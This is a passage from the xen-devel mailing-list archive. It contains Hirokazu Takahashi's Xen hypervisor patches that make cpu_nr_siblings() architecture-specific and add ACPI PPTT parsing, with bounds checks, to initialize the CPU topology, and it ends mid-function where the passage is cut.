 =?us-ascii?Q?ERxYNM21HWRz50k119o3bGt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rZjPhnQ5J4njvldif4CHwjX1z0?=
 =?us-ascii?Q?hJTybDr9PiNMdtVmPPYCBVFT9obep+WNeAe+2PKeezlAR0DcbUpySYPf3SAS?=
 =?us-ascii?Q?5oyAN33591saC3yaFllcbJYIpVp4TBo9HIuN+NVpxkP6qMJ9qi7V2KsBr9kN?=
 =?us-ascii?Q?w/G0s/01ZO7R2SB6CULxrqdwbnEbavd53b/N9ejXHKiYOaVJ4+fMa4CQFzhJ?=
X-MS-Exchange-AntiSpam-MessageData-1: gwVQwGOQP5tFoQ==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 6c7c126e-1313-4afe-dc2d-08deec660b38
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 05:06:55.4057
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: C7keh0eK+w+7Apfn3mo3EcWzeW3NVtBZWUs5kNXbKOS3kmUjwNwTnBeBt5SFDdtvn2uvMMZC1p572Kqmc2FBWQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY1P286MB3277
X-purgate-ID: tlsNG-ebf023/1785215218-520D5B50-05A66480/0/0
X-purgate-type: clean
X-purgate-size: 3435

Make cpu_nr_siblings() an architecture-specific function.
This patch provides the implementation for x86 and a common
version for Device Tree-based architectures.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
Acked-by: Jan Beulich <jbeulich@suse.com>
Reviewed-by: Juergen Gross <jgross@suse.com> # scheduler part
---
 xen/arch/x86/include/asm/processor.h |  1 +
 xen/common/sched/credit2.c           | 25 +++----------------------
 xen/include/xen/cpu-topology.h       |  5 +++++
 3 files changed, 9 insertions(+), 22 deletions(-)

diff --git a/xen/arch/x86/include/asm/processor.h b/xen/arch/x86/include/asm/processor.h
index 8ca6799a81..9758060129 100644
--- a/xen/arch/x86/include/asm/processor.h
+++ b/xen/arch/x86/include/asm/processor.h
@@ -106,6 +106,7 @@ extern void intel_init_arat(void);
 
 #define cpu_to_core(_cpu)   (cpu_data[_cpu].cpu_core_id)
 #define cpu_to_socket(_cpu) (cpu_data[_cpu].phys_proc_id)
+#define cpu_nr_siblings(_cpu) (cpu_data[_cpu].x86_num_siblings)
 
 unsigned int apicid_to_socket(unsigned int apicid);
 
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index b4a3b59601..6c645f0e21 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -29,25 +29,6 @@
 /* #define d2printk printk */
 #define d2printk(x...)
 
-/*
- * TODO: Abstract this properly, and figure out what Credit2 wants to do with
- *       the fact that x86_num_siblings doesn't even have the same meaning
- *       between x86 vendors.
- */
-static unsigned int cpu_nr_siblings(unsigned int cpu)
-{
-#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
-    if ( cpu_topology )
-        return cpu_topology[cpu].num_siblings;
-#endif
-
-#ifdef CONFIG_X86
-    return cpu_data[cpu].x86_num_siblings;
-#else
-    return 1;
-#endif
-}
-
 /*
  * Credit2 tracing events ("only" 512 available!). Check
  * include/public/trace.h for more details.
@@ -885,9 +866,9 @@ cpu_runqueue_match(const struct csched2_runqueue_data *rqd, unsigned int cpu)
 
 /*
  * Additional checks, to avoid separating siblings in different runqueues.
- * This deals with both Intel's HTs and AMD's CUs. An arch that does not have
- * any similar concept will just have cpu_nr_siblings() always return 1, and
- * setup the cpu_sibling_mask-s acordingly (as currently does ARM), and things
+ * This deals with Intel's HTs, AMD's CUs and ARM's SMT. An arch that
+ * does not have similar concept will just have cpu_nr_siblings() always
+ * return 1, and setup the cpu_sibling_mask-s accordingly, and things
  * will just work as well.
  */
 static bool
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index 52ee93d4d0..fccc9cd316 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -44,6 +44,7 @@ void init_cpu_topology(void);
 
 #define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
 #define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+#define cpu_nr_siblings(cpu) (cpu_topology ? cpu_topology[cpu].num_siblings : 1)
 
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
@@ -57,6 +58,10 @@ static inline void init_cpu_topology(void) {}
 #define cpu_to_socket(cpu) (0)
 #endif
 
+#ifndef cpu_nr_siblings
+#define cpu_nr_siblings(cpu) (1)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 05:07:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 05:07:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372052.1619475 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woa1t-0001IK-Km; Tue, 28 Jul 2026 05:07:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372052.1619475; Tue, 28 Jul 2026 05:07:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woa1t-0001Hs-Gp; Tue, 28 Jul 2026 05:07:01 +0000
Received: by outflank-mailman (input) for mailman id 1372052;
 Tue, 28 Jul 2026 05:07:00 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1woa1s-00011Q-HG
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 05:07:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woa1r-00Fj7M-UB
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 07:06:59 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6838ed-bab6-0a2a0a5309dd-0a2a4504d6a2-30
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:06:59 +0200
Received: from [52.101.125.79]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a6838ea-b57f-0a2a45040019-34657d4f8021-7
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 07:06:59 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY1P286MB3277.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:2e5::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 05:06:57 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.012; Tue, 28 Jul 2026
 05:06:57 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=kYlJlerv89DcY5PlB0gA2Jy5rfjxKteyAQA2B4xzTQFR7lfZhC2v7ugm76YUfHklkKEQqKGlNgdu0xpJPvKrD5V5abNSCuYbMIG8V7AmUsFEsUT9cof/JWJNXWliFlNAj1cq6yvGGZqAPuCV7u+cqY11d2SHbX3JujyWzTzqZlCZnyd8NQRYTGy5dpuKNsB+eAHVSj+rIEvi5vR5h3qhCE7JqIkx7kqvldCW18FahZREgUDlwv9dXDMM3WzdHg5n53+mlPDNrC0mS+rIgO/4DaOPEZiY3xKG1Z9Ir/QKJr2xLF1Xlxl1obv5SUZ9CCF7LPCguXT/LzY01woP2nIsnw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=NRJALSvaO0+13oGmqfWWX2m0DlQpLj2Y93MTzehhhNM=;
 b=uFlae9nVykJzHD9Cb3xgdOsXKWvUnxixh2XBzz9rt5Ox8JHthMoMWQIxxiG+U/oL5MXD3cvg06Bx08E/MBu9CfMmQgX4KnutRUncItX09Ozb3Yek5S6VCJ5qzIPZ9ZE52F4uattx1Nkapa2H87kPO9B11ckCfSWOet5D/TUNycBWba0ikg0cdZ568Z3XPkxfyE25gLyPtjQcLMsT2q7L6q3WMAtr6vSC9q1cjb3WJ9Zs0iV1QSFSVWkbKr01H9vnUt1g/Tta24aloARxOFdgJTNqpLXCljWz211blUpFokKMBxKAybVYRqErjKUsW0HIs9fwmJlPU+WkS1nzNn1NBQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=NRJALSvaO0+13oGmqfWWX2m0DlQpLj2Y93MTzehhhNM=;
 b=uKbAEwiKS2R/N/MaiDMqJScXBov/lvNTEdvX+5VfvjsO6kxOb/b40tGnuAxCpmoX5IjHhnfxts1f8CjfdfPP5Wq3TdZBkMbA6TVspBXajx8y6VwPYqSNQSz5O8CYEtTanMGec9HuColGMgknD3PXAhCNQ42AgWyoNhNkVwk5xeE=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH v9 4/4] xen/acpi: Parse PPTT to initialize CPU topology
Date: Tue, 28 Jul 2026 14:06:42 +0900
Message-ID: <20260728050642.411240-5-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260728050642.411240-1-taka@valinux.co.jp>
References: <20260728050642.411240-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCPR01CA0157.jpnprd01.prod.outlook.com
 (2603:1096:400:2b1::10) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY1P286MB3277:EE_
X-MS-Office365-Filtering-Correlation-Id: b6a8b051-f3c6-45bf-c610-08deec660c6a
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|7416014|366016|10070799003|23010399003|1800799024|6133799003|18002099003|22082099003|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	U9BaHD7BqVrFWkrt0r4EdTQhLXVEVIldRjPPlhOoF8joANhWu+ngR8v6F/nfjQaLBJ3KvzfZcIC4KVerQ7wFtBK4EjIkwXXM7O+fXbRWrVHfDQKMuUH0UaFdRKqTkz64UmCYu/0dB+SGnUqRK35t30TcMPQmvpCIa3P010PIdwM7ZBqRsqlXUsBndRfF1NJ4tXvZJeSGT2E4Wt4o2nGSpQYSrGY6pPHIoMyKOlzzlXoCIII7Cp/pIUdM943Sm/fjgMwhp87dyspAFNsM9vqQ0Q/77QazKDI6YUQ3G9+p4gN8b+/iXwyaZVviZ3hbw84Pep1sYHB8Dhz4E4V78ooSOEidY83TwoP9RyHbY0AbCm9As+19AFlIxJ2+HlmJUtUb7T8eX3BfE08GSVw2ILBegKr85tBMR9ktfU99jj4y7tsrcKLHnOkorNwsae+jR4AAmYPAdmrCuWg9GDkd2A9sdV7QtR6tuhf72i4oYyc63sFuCguQp+d8sNXeZwdYO4QokyH9oMRZBEDKMRMPCQbT5Ibfj3OK/N2OeOV625Bh/U0ykEv/ztOB0FGUZKOZz+2pSHMHGfx67wABjxEBMulRqb88MDJlM/rECMthGNvo6fxIxdWrEOkXqzWWXfOB6drUyDBRv5RCOVHA1W7j84VdzQuAxaeFRErFTsSWbaUxBpY=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(366016)(10070799003)(23010399003)(1800799024)(6133799003)(18002099003)(22082099003)(56012099006)(10067099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?AMjoq4XAp0RSTdOXLivQZMn3moZ0cryEh0FC8O3PFznFolElxcvxSfoIw5/7?=
 =?us-ascii?Q?i6pdGL8OBOD+058kiDXr+pjmurivzHZzL2SgReycgAjuMVkHy08dHbLop6la?=
 =?us-ascii?Q?xLxYvT5l2IfbxxI38Pr7QyFAV+6AnTHurIS2TVTZpvdQc7jVvegQP0pT90A+?=
 =?us-ascii?Q?yNo0l7Z/d9qX0LFNTG/+j17d2yhzgnGG08ygVuTf2qdtIVq2fbLmlT7M5zWo?=
 =?us-ascii?Q?HMD6/mDODqanxpQpqLnxJFefi07OYIB8ZjEdg2lnGYP8th6GSks91cGTpoW3?=
 =?us-ascii?Q?QFYmpgs6tfdCjJwV6/KmVBlwY86bEezCIFWBpUDPhD6SqcdvY4yD/V15F5O0?=
 =?us-ascii?Q?Ui5ys7N5UHEtJ+WFGIj0rqRAyyP6XK73oIIgbeThRRAwnvkbbSCV4AdIWwI7?=
 =?us-ascii?Q?5Pen6Yx3ZKHCEM0EfHpnQ6WSrLqLmanNDbDz65w8v2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gEHqUflGyW?=
 =?us-ascii?Q?s0k64cqPp7ysUUlyodsQvNxuuXXU92DuzlkgjnF6vRMAWy/Ig/zjHmXfyVWE?=
 =?us-ascii?Q?mljj1TRvEvstKNZq/EStd4R5shy7E6wDQ4Nce28mjtpWD0U4lyPIPANoN5Fw?=
 =?us-ascii?Q?62DrnULjN4TLxWx0t3EgJkuABTi90qzsDs+D08QwOv/LeOFlO/irpSNxgyC1?=
 =?us-ascii?Q?HwR7Hw8UTvaMyMilmx5YtWuR5Q3r8sJ9kI0vdIO3gYG5ktpA2lJuWdoBSApU?=
 =?us-ascii?Q?RsoHVys9HbgQsnwNMi3UJO0zyRGtcFz1W/t8JNRsbz02o1nm7iMlGsd+78A3?=
 =?us-ascii?Q?QI5MLuXykEPhOr6ElYaGfQi31BtPkMo5f1QtVwRSIbDbmPemHJTWQZGXGc/F?=
 =?us-ascii?Q?wwkIq6VGyZIbtWx4L+H+B88+Qqn3ceUFNfp7SOzYJxzGvfYcT+DT3VLD3ehm?=
 =?us-ascii?Q?6LIv1rRLKjMlrjtcMPVV4+e2kFo8PHMKzNQk8WfE9VSbWdvotACZOLNGRKU3?=
X-MS-Exchange-AntiSpam-MessageData-1: hzfyaBwDCKnJOA==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: b6a8b051-f3c6-45bf-c610-08deec660c6a
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 05:06:57.4042
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 2ddBm6qrEYYsLuMZ/uvPlDFpA/YkKcJx5O3Huf7dJomzXaVwwvU1iPFkcC/6mNdq6Q8lYNHROFB15EFV/rGvMQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY1P286MB3277
X-purgate-ID: tlsNG-ebf023/1785215219-C08D9B50-33643606/0/0
X-purgate-type: clean
X-purgate-size: 14692

Parse the ACPI PPTT (Processor Properties Topology Table) to
initialize the CPU topology.

For ACPI 6.3 and later, the ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD flag
is checked to determine the presence of threading. For ACPI 6.2 and
earlier, CPUs are assumed not to support threading.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v9:
 - Add bounds checking for the number of private resources in the PPTT
   processor table.
 - Verify the validity of entries when indexing into the map_cpu_acpiid table.
 - Coding style adjustments (following Xen standards):
   * Place logical operators ('||', '&&') at the end of lines when splitting
     multi-line conditions.
   * Place arithmetic operators ('+', '-') at the end of lines when wrapping
     long assignment statements.
   * Enclose bitwise operations in parentheses within conditional expressions
     that combine logical operators.
   * Combine variable declaration and initialization where applicable.

 xen/arch/arm/acpi/boot.c        |   2 +
 xen/arch/x86/include/asm/acpi.h |   2 -
 xen/drivers/acpi/topology.c     | 323 ++++++++++++++++++++++++++++++--
 xen/include/xen/acpi.h          |   4 +
 4 files changed, 316 insertions(+), 15 deletions(-)

diff --git a/xen/arch/arm/acpi/boot.c b/xen/arch/arm/acpi/boot.c
index 4ac0fd8f51..fc7ecb5749 100644
--- a/xen/arch/arm/acpi/boot.c
+++ b/xen/arch/arm/acpi/boot.c
@@ -85,6 +85,7 @@ acpi_map_gic_cpu_interface(struct acpi_madt_generic_interrupt *processor)
             return;
         }
         bootcpu_valid = true;
+        acpi_map_cpu_acpiid(0, processor->uid);
         return;
     }
 
@@ -119,6 +120,7 @@ acpi_map_gic_cpu_interface(struct acpi_madt_generic_interrupt *processor)
 
     /* map the logical cpu id to cpu MPIDR */
     cpu_logical_map(enabled_cpus) = mpidr;
+    acpi_map_cpu_acpiid(enabled_cpus, processor->uid);
 
     enabled_cpus++;
 }
diff --git a/xen/arch/x86/include/asm/acpi.h b/xen/arch/x86/include/asm/acpi.h
index 217819dd61..7a89baa143 100644
--- a/xen/arch/x86/include/asm/acpi.h
+++ b/xen/arch/x86/include/asm/acpi.h
@@ -132,8 +132,6 @@ struct acpi_sleep_info {
 extern u32 x86_acpiid_to_apicid[];
 #define MAX_LOCAL_APIC		MAX(256, 4 * NR_CPUS)
 
-#define INVALID_ACPIID		(-1U)
-
 extern u32 pmtmr_ioport;
 extern unsigned int pmtmr_width;
 
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 56fcfa4945..c543ed85c9 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -4,33 +4,330 @@
 #include <xen/cpu-topology.h>
 #include <xen/cpumask.h>
 #include <xen/init.h>
+#include <xen/xvmalloc.h>
+
+#define ACPI_PPTT_MAX_LEVELS 16
+
+static uint32_t __initdata map_cpu_acpiid[NR_CPUS] = {
+    [0 ... NR_CPUS - 1] = INVALID_ACPIID
+};
 
 /*
- * TODO: Populate the topology information by scanning the ACPI
- *       PPTT (Processor Properties Topology Table).
+ * The first argument 'cpu' is the logical CPU ID assigned by Xen,
+ * and the second argument 'acpi_id' the 32-bit ACPI processor ID.
  */
-int __init acpi_init_cpu_topology(void)
+void __init acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id)
 {
-    unsigned int cpu;
+    map_cpu_acpiid[cpu] = acpi_id;
+}
+
+static unsigned int __init get_logical_id(unsigned int key,
+                                          unsigned int *map,
+                                          unsigned int *count)
+{
+    unsigned int id;
+
+    for ( id = 0; id < *count; id++ )
+        if ( map[id] == key )
+            return id;
+
+    map[*count] = key;
+
+    return (*count)++;
+}
+
+static bool __init verify_subtable(const struct acpi_subtable_header *entry,
+                                   const struct acpi_table_pptt *pptt)
+{
+    unsigned long table_end = (unsigned long)pptt + pptt->header.length;
+
+    if ( entry->length < sizeof(*entry) || (entry->length & 3) )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT subtable length is invalid\n");
+        return false;
+    }
+
+    if ( (unsigned long)entry + entry->length > table_end )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT subtable extends beyond table end\n");
+        return false;
+    }
+
+    return true;
+}
+
+static bool __init verify_proc(const struct acpi_pptt_processor *proc)
+{
+    unsigned long table_size;
+
+    if ( proc->header.length < sizeof(*proc) )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT processor node length is too small\n");
+        return false;
+    }
 
     /*
-     * Generate temporary cpu topology information for now.
-     * It assumes that the cpu doesn't have SMT and all CPUs
-     * belong to the same socket.
+     * Each private resource is represented by a 32-bit resource ID.
+     * Reject if the number of private resources exceeds what can fit in
+     * the 8-bit limit of proc->header.length.
      */
+    if ( proc->number_of_priv_resources >
+         (UINT8_MAX - sizeof(*proc)) / sizeof(uint32_t) )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT too many private resources\n");
+        return false;
+    }
+
+    /*
+     * Ensure the structure length accurately accounts for the trailing array.
+     */
+    table_size = sizeof(*proc) +
+                 proc->number_of_priv_resources * sizeof(uint32_t);
+
+    if ( proc->header.length < table_size )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT processor node length invalid\n");
+        return false;
+    }
+
+    return true;
+}
+
+static const struct acpi_pptt_processor *__init find_pptt_node(
+    const struct acpi_table_pptt *pptt, uint32_t acpi_id)
+{
+    const struct acpi_subtable_header *entry;
+    unsigned long table_end = (unsigned long)pptt + pptt->header.length;
+    const void *ptr = pptt + 1;
+
+    while ( (unsigned long)ptr + sizeof(*entry) <= table_end )
+    {
+        entry = ptr;
+
+        if ( !verify_subtable(entry, pptt) )
+            break;
+
+        if ( entry->type == ACPI_PPTT_TYPE_PROCESSOR )
+        {
+            const struct acpi_pptt_processor *proc =
+                container_of(entry, const struct acpi_pptt_processor, header);
+
+            if ( !verify_proc(proc) )
+                break;
+
+            /*
+             * Leaf node verification is only required for ACPI 6.3
+             * (PPTT revision 2) or later.
+             */
+            if ( (proc->flags & ACPI_PPTT_ACPI_PROCESSOR_ID_VALID) &&
+                 proc->acpi_processor_id == acpi_id &&
+                 (pptt->header.revision < 2 ||
+                  (proc->flags & ACPI_PPTT_ACPI_LEAF_NODE)) )
+                return proc;
+        }
+
+        ptr += entry->length;
+    }
+
+    return NULL;
+}
+
+/*
+ * Populate the topology information by scanning the ACPI PPTT
+ * (Processor Properties Topology Table).
+ */
+int __init acpi_init_cpu_topology(void)
+{
+    struct acpi_table_header *table_header;
+    const struct acpi_table_pptt *pptt;
+    unsigned int num_sockets = 0;
+    unsigned int num_clusters = 0;
+    unsigned int num_cores = 0;
+    unsigned int *socket_map = xvzalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int *cluster_map = xvzalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int *core_map = xvzalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int cpu;
+    int ret = 0;
+    acpi_status status = acpi_get_table(ACPI_SIG_PPTT, 0, &table_header);
+
+    if ( ACPI_FAILURE(status) )
+    {
+        /* A missing PPTT is benign; fall back to the default topology. */
+        ret = -ENODEV;
+        goto out;
+    }
+
+    if ( !socket_map || !cluster_map || !core_map )
+    {
+        printk(XENLOG_ERR
+               "ACPI: Failed to allocate memory for topology parsing\n");
+        ret = -ENOMEM;
+        goto out;
+    }
+
+    pptt = container_of(table_header, const struct acpi_table_pptt, header);
+
+    for_each_possible_cpu(cpu)
+    {
+        uint32_t acpi_id = map_cpu_acpiid[cpu];
+        struct cpu_topology *topo = &cpu_topology[cpu];
+        const struct acpi_pptt_processor *proc;
+        unsigned int level;
+        unsigned int core_group_key = 0;
+        unsigned int cluster_group_key = 0;
+        unsigned int socket_group_key = 0;
+        bool threading = false;
+
+        if ( acpi_id == INVALID_ACPIID )
+        {
+            printk(XENLOG_WARNING "ACPI: Invalid ACPI ID for CPU %u\n", cpu);
+            ret = -EINVAL;
+            goto out;
+        }
+
+        proc = find_pptt_node(pptt, acpi_id);
+        if ( !proc )
+        {
+            printk(XENLOG_WARNING
+                   "ACPI: No PPTT leaf node for CPU %u (ACPI ID %#x)\n",
+                   cpu, acpi_id);
+            ret = -ENOENT;
+            goto out;
+        }
+
+        /*
+         * Limit the maximum loop depth to prevent an infinite loop in case
+         * the PPTT is corrupted or contains cyclic references.
+         */
+        for ( level = 0; level < ACPI_PPTT_MAX_LEVELS; level++ )
+        {
+            const unsigned int offset = (const void *)proc - (const void *)pptt;
+
+            /*
+             * If this proc has no parent node, it is the root node. Treat it
+             * as equivalent to an ACPI_PPTT_PHYSICAL_PACKAGE node.
+             */
+            if ( (proc->flags & ACPI_PPTT_PHYSICAL_PACKAGE) || !proc->parent )
+            {
+                socket_group_key = offset;
+
+                /*
+                 * If cluster/core info is absent upon reaching the physical
+                 * package, assume one cluster per socket and one core per
+                 * cluster.
+                 */
+                if ( cluster_group_key == 0 )
+                    cluster_group_key = socket_group_key;
+
+                if ( core_group_key == 0 )
+                    core_group_key = cluster_group_key;
+
+                break;
+            }
+            else if ( level == 0 )
+            {
+                /*
+                 * ACPI_PPTT_PROCESSOR_IS_THREAD is supported in PPTT
+                 * revision 2 and later. Assume no threading support when
+                 * PPTT revision is 1.
+                 */
+                if ( proc->flags & ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD )
+                    threading = true;
+                else
+                    core_group_key = offset;
+            }
+            else if ( level == 1 )
+            {
+                if ( threading )
+                    core_group_key = offset;
+                else
+                    cluster_group_key = offset;
+            }
+            else if ( level == 2 && threading )
+                cluster_group_key = offset;
+
+            if ( (proc->parent & 3) ||
+                 proc->parent < sizeof(*pptt) ||
+                 proc->parent > pptt->header.length - sizeof(*proc) ||
+                 (proc->parent + sizeof(*proc) > offset &&
+                  proc->parent < offset + proc->header.length) )
+            {
+                printk(XENLOG_WARNING
+                       "ACPI: PPTT parent offset is invalid\n");
+                break;
+            }
+
+            proc = (const void *)pptt + proc->parent;
+
+            if ( proc->header.type != ACPI_PPTT_TYPE_PROCESSOR )
+            {
+                printk(XENLOG_WARNING
+                       "ACPI: PPTT parent node is not a processor structure\n");
+                break;
+            }
+
+            if ( !verify_subtable(&proc->header, pptt) ||
+                 !verify_proc(proc) )
+                break;
+        }
+
+        if ( socket_group_key == 0 )
+        {
+            printk(XENLOG_WARNING
+                   "ACPI: Could not reach the physical package node for CPU %u (ACPI ID %#x)\n",
+                   cpu, acpi_id);
+            ret = -ENOENT;
+            goto out;
+        }
+
+        topo->phys_socket_id =
+            get_logical_id(socket_group_key, socket_map, &num_sockets);
+        topo->phys_cluster_id =
+            get_logical_id(cluster_group_key, cluster_map, &num_clusters);
+        topo->phys_core_id =
+            get_logical_id(core_group_key, core_map, &num_cores);
+    }
+
     for_each_possible_cpu(cpu)
     {
         struct cpu_topology *topo = &cpu_topology[cpu];
+        unsigned int tcpu;
 
-        topo->phys_core_id = cpu;
-        topo->num_siblings = 1;
+        for_each_possible_cpu(tcpu)
+        {
+            struct cpu_topology *ttopo = &cpu_topology[tcpu];
 
-        cpumask_set_cpu(cpu, topo->thread_sibling);
-        cpumask_copy(topo->core_sibling, &cpu_possible_map);
-        cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
+            if ( cpu > tcpu )
+                continue;
+
+            if ( topo->phys_core_id == ttopo->phys_core_id )
+            {
